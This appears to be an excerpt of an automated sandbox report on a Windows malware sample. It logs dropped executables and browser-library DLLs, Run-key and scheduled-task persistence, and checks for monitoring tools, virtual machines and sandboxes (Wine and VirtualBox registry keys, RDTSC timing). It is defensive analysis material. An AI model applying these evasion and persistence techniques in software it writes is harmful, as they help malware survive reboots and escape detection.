Source: feb3d39b6a.exe.17.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B536 push ecx; ret	0_2_6C50B549
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_0052D91C push ecx; ret	14_2_0052D92F
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_00521359 push es; ret	14_2_0052135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D4D91C push ecx; ret	15_2_00D4D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D4D91C push ecx; ret	16_2_00D4D92F

Source: file.exe	Static PE information: section name: loxwmvpm entropy: 7.954088066155708
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.083133220156074
Source: JKECGDBFCB.exe.0.dr	Static PE information: section name: entropy: 7.083133220156074
Source: skotes.exe.14.dr	Static PE information: section name: entropy: 7.083133220156074
Source: random[1].exe.17.dr	Static PE information: section name: loxwmvpm entropy: 7.954088066155708
Source: 815f2a8fe8.exe.17.dr	Static PE information: section name: loxwmvpm entropy: 7.954088066155708
Source: random[2].exe0.17.dr	Static PE information: section name: entropy: 7.799262699092027
Source: 57a07eec2d.exe.17.dr	Static PE information: section name: entropy: 7.799262699092027
Source: random[1].exe0.17.dr	Static PE information: section name: fsoyaldh entropy: 7.942516557300243
Source: 2533b4b8c7.exe.17.dr	Static PE information: section name: fsoyaldh entropy: 7.942516557300243
Source: random[1].exe1.17.dr	Static PE information: section name: entropy: 7.975138897205294
Source: random[1].exe1.17.dr	Static PE information: section name: kcjzlwkt entropy: 7.953160073987712
Source: feb3d39b6a.exe.17.dr	Static PE information: section name: entropy: 7.975138897205294
Source: feb3d39b6a.exe.17.dr	Static PE information: section name: kcjzlwkt entropy: 7.953160073987712

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\JKECGDBFCB.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Jump to dropped file
Source: C:\Users\user\Documents\JKECGDBFCB.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\JKECGDBFCB.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 57a07eec2d.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 815f2a8fe8.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run feb3d39b6a.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0d957dbf73.exe

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\JKECGDBFCB.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run feb3d39b6a.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run feb3d39b6a.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 815f2a8fe8.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 815f2a8fe8.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0d957dbf73.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0d957dbf73.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 57a07eec2d.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 57a07eec2d.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5355F0

Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2018 second address: 5B201C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B201C second address: 5B2022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2022 second address: 5B2030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FA6C4C2AB38h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2030 second address: 5B2035 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
